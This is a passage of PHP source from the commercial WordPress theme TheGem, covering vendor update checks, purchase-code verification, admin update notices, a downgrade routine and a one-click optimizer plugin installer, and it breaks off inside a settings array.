function thegem_updater_plugin_load() {
	if ( ! class_exists( 'TGM_Updater' ) ) {
		require get_template_directory() . '/plugins/class-tgm-updater.php';
	}
	if(thegem_is_plugin_active('thegem-elements/thegem-elements.php')) {
		$plugin_data = get_plugin_data(trailingslashit(WP_PLUGIN_DIR).'thegem-elements/thegem-elements.php');
		$args = array(
			'plugin_name' => esc_html__('TheGem Theme Elements', 'thegem'),
			'plugin_slug' => 'thegem-elements',
			'plugin_path' => 'thegem-elements/thegem-elements.php',
			'plugin_url'  => trailingslashit( WP_PLUGIN_URL ) . 'thegem-elements',
			'remote_url'  => esc_url('http://democontent.codex-themes.com/plugins/thegem/required/thegem-elements.json'),
			'version'     => $plugin_data['Version'],
			'key'         => ''
		);
		$tgm_updater = new TGM_Updater( $args );
	}
	if(thegem_is_plugin_active('thegem-blocks/thegem-blocks.php')) {
		$plugin_data = get_plugin_data(trailingslashit(WP_PLUGIN_DIR).'thegem-blocks/thegem-blocks.php');
		$args = array(
			'plugin_name' => esc_html__('TheGem Blocks', 'thegem'),
			'plugin_slug' => 'thegem-blocks',
			'plugin_path' => 'thegem-blocks/thegem-blocks.php',
			'plugin_url'  => trailingslashit( WP_PLUGIN_URL ) . 'thegem-blocks',
			'remote_url'  => esc_url('http://democontent.codex-themes.com/plugins/thegem/recommended/thegem-blocks.json'),
			'version'     => $plugin_data['Version'],
			'key'         => ''
		);
		$tgm_updater = new TGM_Updater( $args );
	}
	if(thegem_is_plugin_active('thegem-import/thegem-import.php')) {
		$plugin_data = get_plugin_data(trailingslashit(WP_PLUGIN_DIR).'thegem-import/thegem-import.php');
		$args = array(
			'plugin_name' => esc_html__('TheGem Import', 'thegem'),
			'plugin_slug' => 'thegem-import',
			'plugin_path' => 'thegem-import/thegem-import.php',
			'plugin_url'  => trailingslashit( WP_PLUGIN_URL ) . 'thegem-import',
			'remote_url'  => esc_url('http://democontent.codex-themes.com/plugins/thegem/recommended/thegem-import.json'),
			'version'     => $plugin_data['Version'],
			'key'         => ''
		);
		$tgm_updater = new TGM_Updater( $args );
	}
	if(thegem_is_plugin_active('thegem-importer/thegem-importer.php')) {
		$plugin_data = get_plugin_data(trailingslashit(WP_PLUGIN_DIR).'thegem-importer/thegem-importer.php');
		$args = array(
			'plugin_name' => esc_html__('TheGem Demo Import', 'thegem'),
			'plugin_slug' => 'thegem-importer',
			'plugin_path' => 'thegem-importer/thegem-importer.php',
			'plugin_url'  => trailingslashit( WP_PLUGIN_URL ) . 'thegem-importer',
			'remote_url'  => esc_url('http://democontent.codex-themes.com/plugins/thegem/recommended/thegem-importer.json'),
			'version'     => $plugin_data['Version'],
			'key'         => ''
		);
		$tgm_updater = new TGM_Updater( $args );
	}
	if(thegem_is_plugin_active('LayerSlider/layerslider.php')) {
		$plugin_data = get_plugin_data(trailingslashit(WP_PLUGIN_DIR).'LayerSlider/layerslider.php');
		$args = array(
			'plugin_name' => esc_html__('LayerSlider WP', 'thegem'),
			'plugin_slug' => 'LayerSlider',
			'plugin_path' => 'LayerSlider/layerslider.php',
			'plugin_url'  => trailingslashit( WP_PLUGIN_URL ) . 'LayerSlider',
			'remote_url'  => esc_url('http://democontent.codex-themes.com/plugins/thegem/recommended/layerslider.json'),
			'version'     => $plugin_data['Version'],
			'key'         => ''
		);
		$tgm_updater = new TGM_Updater( $args );
	}
	if(thegem_is_plugin_active('revslider/revslider.php')) {
		$plugin_data = get_plugin_data(trailingslashit(WP_PLUGIN_DIR).'revslider/revslider.php');
		$args = array(
			'plugin_name' => esc_html__('Revolution Slider', 'thegem'),
			'plugin_slug' => 'revslider',
			'plugin_path' => 'revslider/revslider.php',
			'plugin_url'  => trailingslashit( WP_PLUGIN_URL ) . 'revslider',
			'remote_url'  => esc_url('http://democontent.codex-themes.com/plugins/thegem/recommended/revslider.json'),
			'version'     => $plugin_data['Version'],
			'key'         => ''
		);
		$tgm_updater = new TGM_Updater( $args );
	}
	if(thegem_is_plugin_active('js_composer/js_composer.php')) {
		$plugin_data = get_plugin_data(trailingslashit(WP_PLUGIN_DIR).'js_composer/js_composer.php');
		$args = array(
			'plugin_name' => esc_html__('WPBakery Visual Composer', 'thegem'),
			'plugin_slug' => 'js_composer',
			'plugin_path' => 'js_composer/js_composer.php',
			'plugin_url'  => trailingslashit( WP_PLUGIN_URL ) . 'js_composer',
			'remote_url'  => esc_url('http://democontent.codex-themes.com/plugins/thegem/required/js_composer.json'),
			'version'     => $plugin_data['Version'],
			'key'         => ''
		);
		$tgm_updater = new TGM_Updater( $args );
	}
	if(thegem_is_plugin_active('zilla-likes/zilla-likes.php')) {
		$plugin_data = get_plugin_data(trailingslashit(WP_PLUGIN_DIR).'zilla-likes/zilla-likes.php');
		$args = array(
			'plugin_name' => esc_html__('ZillaLikes', 'thegem'),
			'plugin_slug' => 'zilla-likes',
			'plugin_path' => 'zilla-likes/zilla-likes.php',
			'plugin_url'  => trailingslashit( WP_PLUGIN_URL ) . 'zilla-likes',
			'remote_url'  => esc_url('http://democontent.codex-themes.com/plugins/thegem/recommended/zilla-likes.json'),
			'version'     => $plugin_data['Version'],
			'key'         => ''
		);
		$tgm_updater = new TGM_Updater( $args );
	}
    /*
	if(thegem_is_plugin_active('wp-rocket/wp-rocket.php')) {
		$plugin_data = get_plugin_data(trailingslashit(WP_PLUGIN_DIR).'wp-rocket/wp-rocket.php');
		$args = array(
			'plugin_name' => esc_html__('WP Rocket', 'thegem'),
			'plugin_slug' => 'wp-rocket',
			'plugin_path' => 'wp-rocket/wp-rocket.php',
			'plugin_url'  => trailingslashit( WP_PLUGIN_URL ) . 'wp-rocket',
			'remote_url'  => esc_url('http://democontent.codex-themes.com/plugins/thegem/recommended/wp-rocket.json'),
			'version'     => $plugin_data['Version'],
			'key'         => ''
		);
		$tgm_updater = new TGM_Updater( $args );
	}
    */
}

function thegem_get_purchase() {
	if(!defined('ENVATO_HOSTED_SITE')) {
		$theme_options = get_option('thegem_theme_options');
		if($theme_options && isset($theme_options['purchase_code'])) {
			return $theme_options['purchase_code'];
		}
	} else {
		return 'envato_hosted:'.(defined('SUBSCRIPTION_CODE') ? SUBSCRIPTION_CODE : '');
	}
	return false;
}

add_action( 'vc_before_init', 'thegem_vcSetAsTheme' );
function thegem_vcSetAsTheme() {
	//vc_set_as_theme();
}

if(function_exists('layerslider_set_as_theme')) layerslider_set_as_theme();

function thegem_upgrader_pre_download($reply, $package, $upgrader) {
	if(strpos($package, 'democontent.codex-themes.com') !== false && strpos($package, 'envato-wordpress-toolkit') === false) {
		if(!thegem_get_purchase()) {
			if(!defined('ENVATO_HOSTED_SITE')) {
				return new WP_Error('thegem_purchase_empty', sprintf(wp_kses(__('Purchase code verification failed. <a href="%s" target="_blank">Activate TheGem</a>', 'thegem'), array('a' => array('href' => array(), 'target' => array()))),esc_url(admin_url('admin.php?page=thegem-dashboard-welcome'))));
			}
		}
		$response_p = wp_remote_get(add_query_arg(array('code' => thegem_get_purchase(), 'info'=>thegem_get_activation_info(), 'site_url' => get_site_url()), 'http://democontent.codex-themes.com/av_validate_code'.(defined('ENVATO_HOSTED_SITE') ? '_envato' : '').'.php'), array('timeout' => 20));
		if(is_wp_error($response_p)) {
			return new WP_Error('thegem_connection_failed', esc_html__('Some troubles with connecting to TheGem server.', 'thegem'));
		}
		$rp_data = json_decode($response_p['body'], true);
		if(!(is_array($rp_data) && isset($rp_data['result']) && $rp_data['result'] && isset($rp_data['item_id']) && $rp_data['item_id'] === '16061685')) {
			if(!defined('ENVATO_HOSTED_SITE')) {
				return new WP_Error('thegem_purchase_error', sprintf(wp_kses(__('Purchase code verification failed. <a href="%s" target="_blank">Activate TheGem</a>', 'thegem'), array('a' => array('href' => array(), 'target' => array()))), esc_url(admin_url('admin.php?page=thegem-dashboard-welcome'))));
			}
		}
	}
	return $reply;
}
add_filter('upgrader_pre_download', 'thegem_upgrader_pre_download', 10, 3);

function thegem_pre_set_site_transient_update_themes( $transient ) {

	$response = wp_remote_get('http://democontent.codex-themes.com/plugins/thegem/theme/theme.json', array('timeout' => 5));
	if ( is_wp_error( $response ) ) {
		return $transient;
	}

	$body = wp_remote_retrieve_body($response);
	$data = json_decode($body, 1);
	if ( ! isset( $data['new_version'] ) ) {
		return $transient;
	}

	$new_version = $data['new_version'];

	// Save update info if there are newer version.
	$theme = wp_get_theme('thegem');
	if ( version_compare( $theme->get( 'Version' ), $new_version, '<' ) ) {
		$transient->response[ 'thegem' ] = array(
			'theme' => 'thegem',
			'new_version' => $new_version,
			'url' => $data['changelog'],
			'package' => $data['package'],
		);
	} else {
		$transient->no_update[ 'thegem' ] = array(
			'theme' => 'thegem',
			'new_version' => $new_version,
			'url' => $data['changelog'],
			'package' => $data['package'],
		);
	}

	return $transient;
}
add_filter('pre_set_site_transient_update_themes', 'thegem_pre_set_site_transient_update_themes', 10, 3);

function thegem_pre_set_site_transient_update_plugins( $transient ) {

	$response = wp_remote_get('http://democontent.codex-themes.com/plugins/thegem/recommended/autoptimize.json', array('timeout' => 5));

	if ( is_wp_error( $response ) ) {
		return $transient;
	}

	$body = wp_remote_retrieve_body($response);
	$data = json_decode($body, 1);
	if ( ! isset( $data['new_version'] ) ) {
		return $transient;
	}
	$new_version = $data['new_version'];

	$autoptimize_data = new stdClass;

	if(isset($transient->response['autoptimize/autoptimize.php'])) {
		$autoptimize_data = $transient->response['autoptimize/autoptimize.php'];
		unset($transient->response['autoptimize/autoptimize.php']);
	} elseif(isset($transient->no_update['autoptimize/autoptimize.php'])) {
		$autoptimize_data = $transient->no_update['autoptimize/autoptimize.php'];
		unset($transient->no_update['autoptimize/autoptimize.php']);
	}

	if(defined( 'AUTOPTIMIZE_PLUGIN_VERSION' ) && isset($autoptimize_data->new_version)) {
		if ( version_compare( AUTOPTIMIZE_PLUGIN_VERSION, $new_version, '<' ) ) {
			$autoptimize_data->new_version = $new_version;
			$autoptimize_data->package = $data['package'];
			$transient->response['autoptimize/autoptimize.php'] = $autoptimize_data;
		} else {
			$autoptimize_data->new_version = $new_version;
			$autoptimize_data->package = $data['package'];
			$transient->no_update['autoptimize/autoptimize.php'] = $autoptimize_data;
		}
	}

	$response = wp_remote_get('http://democontent.codex-themes.com/plugins/thegem/recommended/wp-super-cache.json', array('timeout' => 5));

	if ( is_wp_error( $response ) ) {
		return $transient;
	}

	$body = wp_remote_retrieve_body($response);
	$data = json_decode($body, 1);
	if ( ! isset( $data['new_version'] ) ) {
		return $transient;
	}
	$new_version = $data['new_version'];

	$wp_super_cache_data = new stdClass;

	if(isset($transient->response['wp-super-cache/wp-cache.php'])) {
		$wp_super_cache_data = $transient->response['wp-super-cache/wp-cache.php'];
		unset($transient->response['wp-super-cache/wp-cache.php']);
	} elseif(isset($transient->no_update['wp-super-cache/wp-cache.php'])) {
		$wp_super_cache_data = $transient->no_update['wp-super-cache/wp-cache.php'];
		unset($transient->no_update['wp-super-cache/wp-cache.php']);
	}

	if(thegem_is_plugin_active('wp-super-cache/wp-cache.php') && isset($wp_super_cache_data->new_version)) {
		$plugin_data = get_plugin_data(trailingslashit(WP_PLUGIN_DIR).'wp-super-cache/wp-cache.php');
		if ( version_compare( $plugin_data['Version'], $new_version, '<' ) ) {
			$wp_super_cache_data->new_version = $new_version;
			$wp_super_cache_data->package = $data['package'];
			$transient->response['wp-super-cache/wp-cache.php'] = $wp_super_cache_data;
		} else {
			$wp_super_cache_data->new_version = $new_version;
			$wp_super_cache_data->package = $data['package'];
			$transient->no_update['wp-super-cache/wp-cache.php'] = $wp_super_cache_data;
		}
	}

	$response = wp_remote_get('http://democontent.codex-themes.com/plugins/thegem/recommended/yikes-inc-easy-mailchimp-extender.json', array('timeout' => 5));

	if ( is_wp_error( $response ) ) {
		return $transient;
	}

	$body = wp_remote_retrieve_body($response);
	$data = json_decode($body, 1);
	if ( ! isset( $data['new_version'] ) ) {
		return $transient;
	}
	$new_version = $data['new_version'];

	$yikes_easy_mailchimp_extender_data = new stdClass;

	if(isset($transient->response['yikes-inc-easy-mailchimp-extender/yikes-inc-easy-mailchimp-extender.php'])) {
		$yikes_easy_mailchimp_extender_data = $transient->response['yikes-inc-easy-mailchimp-extender/yikes-inc-easy-mailchimp-extender.php'];
		unset($transient->response['yikes-inc-easy-mailchimp-extender/yikes-inc-easy-mailchimp-extender.php']);
	} elseif(isset($transient->no_update['yikes-inc-easy-mailchimp-extender/yikes-inc-easy-mailchimp-extender.php'])) {
		$yikes_easy_mailchimp_extender_data = $transient->no_update['yikes-inc-easy-mailchimp-extender/yikes-inc-easy-mailchimp-extender.php'];
		unset($transient->no_update['yikes-inc-easy-mailchimp-extender/yikes-inc-easy-mailchimp-extender.php']);
	}

	if(defined( 'YIKES_MC_VERSION' ) && isset($yikes_easy_mailchimp_extender_data->new_version)) {
		if ( version_compare( YIKES_MC_VERSION, $new_version, '<' ) ) {
			$yikes_easy_mailchimp_extender_data->new_version = $new_version;
			$yikes_easy_mailchimp_extender_data->package = $data['package'];
			$transient->response['yikes-inc-easy-mailchimp-extender/yikes-inc-easy-mailchimp-extender.php'] = $yikes_easy_mailchimp_extender_data;
		} else {
			$yikes_easy_mailchimp_extender_data->new_version = $new_version;
			$yikes_easy_mailchimp_extender_data->package = $data['package'];
			$transient->no_update['yikes-inc-easy-mailchimp-extender/yikes-inc-easy-mailchimp-extender.php'] = $yikes_easy_mailchimp_extender_data;
		}
	}

	return $transient;
}
add_filter('pre_set_site_transient_update_plugins', 'thegem_pre_set_site_transient_update_plugins', 15, 3);

add_action('wp_ajax_thegem_theme_update_confirm', 'thegem_theme_update_confirm_content');
function thegem_theme_update_confirm_content() {
?>
<div class="fancybox-content thegem-theme-update-fancybox-content">
	<div class="thegem-theme-update-confirm-content">
		<div class="ttucc-title"><img src="<?php echo THEGEM_THEME_URI; ?>/images/admin-images/ttucc-title.png" alt="#" /></div>
		<div class="ttucc-description"><?php esc_html_e('Before updating, it would be better if you make a backup of your current theme files (via FTP). Also please note: if you have done any code modifications directly in parent’s theme source files, this changes may be overwritten. We recommend to use TheGem child theme for any code modifications and customizations in order to ensure all further updates without any issues.', 'thegem'); ?></div>
		<div class="ttucc-confirm">
			<div class="ttucc-confirm-checkbox">
				<label for="thegem-update-confirm-checkbox"><input type="checkbox" name="confirm" id="thegem-update-confirm-checkbox" value="1" /><?php esc_html_e('I have read this notice and agree to proceed', 'thegem'); ?></label>
			</div>
			<div class="ttucc-confirm-button">
				<button id="thegem-update-confirm-button" disabled="disabled"><?php esc_html_e('Proceed with update', 'thegem'); ?></button>
			</div>
		</div>
	</div>
</div>
<?php
	die(-1);
}

function thegem_update_notice() {
	if ( !current_user_can('update_themes' ) )
		return false;
	if ( !isset($themes_update) )
		$themes_update = get_site_transient('update_themes');
	if ( isset($themes_update->response['thegem']) ) {
		$update = $themes_update->response['thegem'];
		$theme = wp_prepare_themes_for_js( array( wp_get_theme('thegem') ) );
		$details_url = add_query_arg(array(), $update['url']);
		$update_url = wp_nonce_url( admin_url( 'update.php?action=upgrade-theme&amp;theme=' . urlencode( 'thegem' ) ), 'upgrade-theme_thegem' );
		if(isset($theme[0]) && isset($theme[0]['hasUpdate']) && $theme[0]['hasUpdate']) {
			wp_enqueue_script('jquery-fancybox');
			wp_enqueue_style('jquery-fancybox');
			echo '<div class="thegem-update-notice notice notice-warning is-dismissible">';
			echo '<p>'.sprintf(wp_kses(__('There is a new version of TheGem theme available. Your current version is <strong>%s</strong>. Update to <strong>%s</strong>.', 'thegem'), array('strong' => array())), $theme[0]['version'], $update['new_version']).'</p>';
			echo '<p>'.sprintf(wp_kses(__('<strong><a href="%s" class="thegem-view-details-link">View update details</a></strong> or <strong><a href="%s" class="thegem-update-link">Update now</a></strong>.', 'thegem'), array('strong' => array(), 'a' => array('href' => array(), 'class' => array()))), $details_url, $update_url).'</p>';
			echo '</div>';
		}
	}
}
add_action('admin_notices', 'thegem_update_notice');

function thegem_plugins_update_notice() {
	if ( !current_user_can('update_plugins' ) )
		return false;
	$plugins = get_site_transient('update_plugins');
	$thegem_plugins = array(
		'thegem-elements/thegem-elements.php',
		'thegem-blocks/thegem-blocks.php',
		'thegem-import/thegem-import.php',
		'thegem-importer/thegem-importer.php',
		'LayerSlider/layerslider.php',
		'revslider/revslider.php',
		'js_composer/js_composer.php',
		//'wp-rocket/wp-rocket.php',
	);
	if ( isset($plugins->response) && is_array($plugins->response) ) {
		wp_enqueue_script('jquery-fancybox');
		wp_enqueue_style('jquery-fancybox');
		$plugins_ids = array_keys( $plugins->response );
		foreach ( $plugins_ids as $plugin_file ) {
			if(in_array($plugin_file, $thegem_plugins)) {
				$plugin_data = get_plugin_data(trailingslashit(WP_PLUGIN_DIR).$plugin_file);
				$plugin_update = $plugins->response[$plugin_file];
				echo '<div class="thegem-update-notice notice notice-warning is-dismissible">';
				echo '<p>'.sprintf(wp_kses(__('There is a new version of <strong>%s</strong> plugin available. Your current version is <strong>%s</strong>. Update to <strong>%s</strong>.', 'thegem'), array('strong' => array())), $plugin_data['Name'], $plugin_data['Version'], $plugin_update->new_version).'</p>';
				echo '<p>'.sprintf(wp_kses(__('<strong><a href="%s">Update now</a></strong>.', 'thegem'), array('strong' => array(), 'a' => array('href' => array()))), esc_url(admin_url('update-core.php'))).'</p>';
				echo '</div>';
			}
		}
	}
}
add_action('admin_notices', 'thegem_plugins_update_notice');

function thegem_plugins_update_latest_version_notice() {

	if(thegem_is_plugin_active('thegem-elements/thegem-elements.php')) {
		$plugin_data = get_plugin_data(trailingslashit(WP_PLUGIN_DIR).'thegem-elements/thegem-elements.php');
		if(version_compare($plugin_data['Version'], '5.7.0', '<')) {
			echo '<div class="thegem-update-notice-new notice notice-error" style="display: flex; align-items: center;">';
			echo '<p style="margin: 5px 15px 0 10px;"><img src=" '.THEGEM_THEME_URI . '/images/alert-icon.svg'.' " width="40px" alt="thegem-blocks-logo"></p>';
			echo '<p><b style="display: block; font-size: 14px; padding-bottom: 5px">'.__('IMPORTANT:', 'thegem').'</b>'.__('Please update <strong>«TheGem Theme Elements»</strong> plugin to the latest version.', 'thegem').'</p>';
			echo '<p style="margin-left: auto;">'.sprintf(wp_kses(__('<a href="%s" class="button button-primary">Update now</a>', 'thegem'), array('strong' => array(), 'a' => array('href' => array(), 'class' => array()))), esc_url(admin_url('update-core.php'))).'</p>';
			echo '</div>';
		}
	}

	if(thegem_is_plugin_active('thegem-importer/thegem-importer.php')) {
		$plugin_data = get_plugin_data(trailingslashit(WP_PLUGIN_DIR).'thegem-importer/thegem-importer.php');
		if(version_compare($plugin_data['Version'], '5.6.0', '<')) {
			echo '<div class="thegem-update-notice-new notice notice-error" style="display: flex; align-items: center;">';
			echo '<p style="margin: 5px 15px 0 10px;"><img src=" '.THEGEM_THEME_URI . '/images/alert-icon.svg'.' " width="40px" alt="thegem-blocks-logo"></p>';
			echo '<p><b style="display: block; font-size: 14px; padding-bottom: 5px">'.__('IMPORTANT:', 'thegem').'</b>'.__('Please update <strong>«TheGem Demo Import»</strong> plugin to the latest version.', 'thegem').'</p>';
			echo '<p style="margin-left: auto;">'.sprintf(wp_kses(__('<a href="%s" class="button button-primary">Update now</a>', 'thegem'), array('strong' => array(), 'a' => array('href' => array(), 'class' => array()))), esc_url(admin_url('update-core.php'))).'</p>';
			echo '</div>';
		}
	}
}
add_action('admin_notices', 'thegem_plugins_update_latest_version_notice');

function thegem_tgmpa_admin_menu_args($args) {
	$args['parent_slug'] = 'thegem-dashboard-welcome';
	$args['position'] = 40;
	return $args;
}
add_filter('tgmpa_admin_menu_args', 'thegem_tgmpa_admin_menu_args');

function thegem_elementor_available_notice() {
	if (!isset($_COOKIE['thegem_elementor_available_notice'])) {
		?>

		<div id="thegem-elementor-notice" class="notice notice-success is-dismissible">
			<div class="thegem-elementor-notice-inner" style="display: flex; align-items: center; width: 100%;">
				<div class="thegem-elementor-notice-logo">
					<img src="<?= THEGEM_THEME_URI . '/images/elementor-logo.svg' ?>" width="40px" alt="thegem-blocks-logo">
				</div>

				<div class="thegem-elementor-notice-info">
					<p><b><?= __('TheGem for Elementor released!', 'thegem')?></b></p>
					<p><?= __('100% compatibility with Elementor and Elementor Pro. With all 400+ pre-built demos. Including 30+ unique TheGem elements (extended, updated, reworked). With powerful Elementor extensions. Full control of responsiveness. Unlimited customization options.', 'thegem') ?></p>
					<p><a href="//democontent.codex-themes.com/plugins/thegem/theme/elementor_update.html" class="thegem-elementor-notice-link"><b><?= __('Learn more...', 'thegem') ?></b></a> | <a href="#" class="thegem-notice-dismiss"><b><?= __('Dismiss this notice', 'thegem') ?></b></a></p>
				</div>
			</div>
		</div>

		<script type="text/javascript">
			window.addEventListener('load', function() {
				(function ($) {
					$('#thegem-elementor-notice .thegem-elementor-notice-link').fancybox({
						type: 'iframe',
						toolbar: false,
						smallBtn : true
					});
					$('#thegem-elementor-notice').on('click', '.notice-dismiss, .thegem-notice-dismiss', function() {
						let dt = new Date();
						let days = 30;
						dt.setDate(dt.getDate() + days);

						let name = '<?= esc_attr('thegem_elementor_available_notice'); ?>';
						let value = encodeURIComponent('<?= esc_attr('1.0.0'); ?>') + ("; expires=" + dt.toUTCString());
						document.cookie = name + "=" + value;
						$('#thegem-elementor-notice').remove();
					});
				})(window.jQuery);
			});
		</script>

	<?php }
}
//add_action('admin_notices', 'thegem_elementor_available_notice');


function thegem_downgrade_admin_menu() {
	add_submenu_page(null, esc_html__('Downgrade TheGem','thegem'), esc_html__('Downgrade TheGem','thegem'), 'edit_theme_options', 'thegem-downgrade', 'thegem_downgrade', 0);
}

add_action('admin_menu', 'thegem_downgrade_admin_menu', 70);

function thegem_downgrade() {
	echo '<style>.thegem-downgrade-panel .wrap+.wrap form{display:none}.thegem-downgrade-panel .wrap:first-child a,.thegem-downgrade-panel .wrap:first-child iframe{display:none}</style>';
	echo '<div id="thegem-downgrade-overlay" style="position: fixed;display:flex;align-items:center;justify-content:center;width: 100%;height: 100%;top: 0;left: 0;right: 0;bottom: 0;font-size:24px;color:#ffffff;background-color: rgba(51,58,66,.9);z-index: 9999;"><span>'.esc_html__( 'Processing the installation of previous versions, please wait...', 'thegem' ).'</span></div>';
	echo '<div class="thegem-downgrade-panel">';
	$plugins_updates = get_site_transient('update_plugins');
	$plugin_info = new stdClass();
	$plugin_info->new_version = '';
	$plugin_info->slug = 'thegem-elements';
	$plugin_info->package = 'http://democontent.codex-themes.com/plugins/thegem/required/old/thegem-elements-5.2.1.zip';
	$plugin_info->url = '';
	$plugins_updates->response['thegem-elements/thegem-elements.php'] = $plugin_info;

	remove_all_filters( 'pre_set_site_transient_update_plugins' );
	remove_filter('nonce_life', 'thegem_nonce_life');
	set_site_transient('update_plugins', $plugins_updates);
	require_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
	$plugin = 'thegem-elements/thegem-elements.php';

	$upgrader_args = [
		'url' => 'admin.php?page=thegem-downgrade',
		'plugin' => $plugin,
		'nonce' => 'upgrade-plugin_' . $plugin,
		'title' => esc_html__( 'Downgrade Theme', 'thegem' ),
	];
	$upgrader = new Plugin_Upgrader( new Plugin_Upgrader_Skin( $upgrader_args ) );
	$upgrader->upgrade( $plugin );
	unset($plugins_updates->response['thegem-elements/thegem-elements.php']);
	set_site_transient('update_plugins', $plugins_updates);


	$theme_updates = get_site_transient('update_themes');
	$theme_updates->response['thegem'] = array(
		'package' => 'http://democontent.codex-themes.com/plugins/thegem/theme/old/thegem-5.2.1.1.zip',
		'url' => '',
		'new_version' => '',
	);
	remove_all_filters('pre_set_site_transient_update_themes');
	set_site_transient('update_themes', $theme_updates);
	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	$theme = 'thegem';

	$title = ''; //esc_html__( 'Downgrade Theme', 'thegem' );

	$nonce = 'upgrade-theme_' . $theme;
	$url = 'admin.php?page=thegem-downgrade';
	$upgrader = new Theme_Upgrader( new Theme_Upgrader_Skin( compact( 'title', 'nonce', 'url', 'theme' ) ) );
	$upgrader->upgrade( $theme );
	unset($theme_updates->response['thegem']);
	set_site_transient('update_themes', $theme_updates);

	echo '</div>';

	?>
	<script type="text/javascript">
		window.addEventListener('load', function() {
			document.getElementById('thegem-downgrade-overlay').style.display = 'none';
		});
	</script>
	<?php
}

function thegem_install_optimizers_admin_menu() {
	add_submenu_page(null, esc_html__('Install TheGem Optimizers','thegem'), esc_html__('Install TheGem Optimizers','thegem'), 'edit_theme_options', 'thegem-install-optimizers', 'thegem_install_optimizers', 0);
}


function thegem_optimizers_backup_settings() {
	global $wpdb;

	if (!get_option('thegem_optimizers_backup_settings')) {
		$data = array();

		$data['wprocket'] = get_option('wp_rocket_settings');
		$data['autoptimize'] = [];
	
		$autoptimizeOptions = $wpdb->get_results( "SELECT option_name FROM $wpdb->options WHERE option_name LIKE 'autoptimize_%'" );
		foreach($autoptimizeOptions as $option ) {
			$data['autoptimize'][$option->option_name] = get_option($option->option_name);
		}

		update_option('thegem_optimizers_backup_settings', $data);
	}
}


function thegem_install_optimizers() {
	$optimizer = 'wp-super-cache';
	if(isset($_REQUEST['optimizer'])) {
		$optimizer = $_REQUEST['optimizer'];
	}
	echo '<style>.thegem-downgrade-panel .wrap+.wrap form{display:none}.thegem-downgrade-panel .wrap:first-child a,.thegem-downgrade-panel .wrap:first-child iframe{display:none} .blink_me {animation: blinker 1s linear infinite;} @keyframes blinker {50% {opacity: 0;}}</style>';
	echo '<div id="thegem-downgrade-overlay" style="position: fixed;display:flex;align-items:center;justify-content:center;width: 100%;height: 100%;top: 0;left: 0;right: 0;bottom: 0;font-size:24px;color:#ffffff;background-color: rgba(51,58,66,0.99);z-index: 9999;"><span>'.esc_html__( 'Processing the one click optimization. Please wait', 'thegem' ).'</span><span class="blink_me">...</span></div>';
	echo '<div class="thegem-downgrade-panel">';
	remove_all_filters( 'pre_set_site_transient_update_plugins' );
	remove_filter('nonce_life', 'thegem_nonce_life');
	require_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );

	$plugins_updates = get_site_transient('update_plugins');

	if($optimizer === 'wp-rocket') {
		$plugin_info = new stdClass();
		$plugin_info->new_version = '';
		$plugin_info->slug = 'wp-rocket';
		$plugin_info->package = 'http://democontent.codex-themes.com/plugins/thegem/recommended/wp-rocket-disable-google-font-optimization.zip';
		$plugin_info->url = '';
		$plugins_updates->response['wp-rocket-disable-google-font-optimization/wp-rocket-disable-google-font-optimization.php'] = $plugin_info;
	}

	$plugin_info = new stdClass();
	$plugin_info->new_version = '';
	$plugin_info->slug = 'autoptimize';
	$plugin_info->package = 'http://democontent.codex-themes.com/plugins/thegem/recommended/autoptimize.zip';
	$plugin_info->url = '';
	$plugins_updates->response['autoptimize/autoptimize.php'] = $plugin_info;

	if($optimizer === 'wp-super-cache') {
		$plugin_info = new stdClass();
		$plugin_info->new_version = '';
		$plugin_info->slug = 'wp-super-cache';
		$plugin_info->package = 'http://democontent.codex-themes.com/plugins/thegem/recommended/wp-super-cache.zip';
		$plugin_info->url = '';
		$plugins_updates->response['wp-super-cache/wp-cache.php'] = $plugin_info;
	}

	set_site_transient('update_plugins', $plugins_updates);

	if($optimizer === 'wp-rocket') {
		$plugin = 'wp-rocket/wp-rocket.php';
		$upgrader_args = [
			'url' => 'admin.php?page=thegem-install-optimizers',
			'plugin' => $plugin,
			'nonce' => 'upgrade-plugin_' . $plugin,
			'title' => esc_html__( 'Install and Configure WP-Rocket and Autoptimize', 'thegem' ),
		];
	}
	if($optimizer === 'wp-super-cache') {
		$plugin = 'wp-super-cache/wp-cache.php';
		$upgrader_args = [
			'url' => 'admin.php?page=thegem-install-optimizers',
			'plugin' => $plugin,
			'nonce' => 'upgrade-plugin_' . $plugin,
			'title' => esc_html__( 'Install and Configure WP Super Cache and Autoptimize', 'thegem' ),
		];
	}
	$upgrader = new Plugin_Upgrader( new Plugin_Upgrader_Skin( $upgrader_args ) );
	if($optimizer === 'wp-rocket') {
		$installed = $upgrader->bulk_upgrade( ['wp-rocket-disable-google-font-optimization/wp-rocket-disable-google-font-optimization.php', 'autoptimize/autoptimize.php'] );
	}
	if($optimizer === 'wp-super-cache') {
		$installed = $upgrader->bulk_upgrade( ['wp-super-cache/wp-cache.php', 'autoptimize/autoptimize.php'] );
	}

	$installed_result = 'success';

	if(is_array($installed)) {
		foreach($installed as $plugin) {
			if(is_wp_error($plugin) && $installed_result === 'success') {
				$installed_result === 'error';
				if(isset($plugin->errors) && isset($plugin->errors['thegem_purchase_error'])) {
					$installed_result = 'error_purchase';
				}
			}
		}
	}

	if ($installed_result === 'success') {
		unset($plugins_updates->response['autoptimize/autoptimize.php']);
		if($optimizer === 'wp-rocket') {
			unset($plugins_updates->response['wp-rocket-disable-google-font-optimization/wp-rocket-disable-google-font-optimization.php']);
		}
		if($optimizer === 'wp-super-cache') {
			unset($plugins_updates->response['wp-super-cache/wp-cache.php']);
		}

		set_site_transient('update_plugins', $plugins_updates);

		global $wpdb;
		$theme_options = get_option('thegem_theme_options');

		if($optimizer === 'wp-rocket') {
			update_option('thegem_enabled_wprocket_autoptimize', 1);
			thegem_optimizers_backup_settings();
			delete_option('wp_rocket_settings');


			// delete old autoptimize options
			$oldWPRocketOptions = $wpdb->get_results( "SELECT option_name FROM $wpdb->options WHERE option_name LIKE '%%wp_rocket%'" );
			foreach($oldWPRocketOptions as $option ) {
				delete_option( $option->option_name );
			}

			$wpRocketSettings = array (
				'secret_cache_key' => str_replace( '.', '', uniqid( '', true )),
				'cache_mobile' => 1,
				'do_caching_mobile_files' => 0,
				'cache_webp' => 0,
				'cache_logged_user' => 0,
				'cache_ssl' => 1,
				'emoji' => 1,
				'cache_reject_uri' =>
				array (
				),
				'cache_reject_cookies' =>
				array (
				),
				'cache_reject_ua' =>
				array (
				),
				'cache_query_strings' =>
				array (
